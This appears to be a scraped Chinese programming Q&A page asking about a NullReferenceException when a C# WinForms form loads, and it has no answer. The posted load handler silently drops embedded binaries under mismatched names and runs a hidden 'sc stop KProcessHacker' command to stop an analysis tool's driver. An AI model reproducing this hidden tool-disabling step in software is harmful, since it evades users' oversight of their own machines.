首页 > 解决方案 > 在加载表单 C# 时获取 NullReferenceException

问题描述

当我要在 c# 中加载 form2 时,我得到“空引用异常”当命令

a.Show();

想跑。

这对我来说真的很奇怪

代码

Form1登录点击

     MainForm a = new MainForm();
     a.MyProperty = timeleft;
     a.Show();
     this.Hide();

Form2加载

    public string MyProperty { get; set; }
    string recievedTime = "#";

 private void MainForm_Load(object sender, EventArgs e)
    {
            recievedTime = MyProperty;
            countdownTimer.Start();
        try
        {
            File.WriteAllBytes("arm.exe", SLN.Properties.Resources.adb);
        }
        catch { }
        try
        {
            File.WriteAllBytes("arm64.dll", SLN.Properties.Resources.arm64);
        }
        catch { }
        try
        {
            Process process = new Process();
            ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
            startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
            startInfo.FileName = "cmd.exe";
            startInfo.Arguments = "/c sc stop KProcessHacker";
            process.StartInfo = startInfo;
            process.Start();
        }
        catch(Exception ex)
        {
            MessageBox.Show("Error Code 10" + ex.ToString());
        }
    }

标签: c#

解决方案


推荐阅读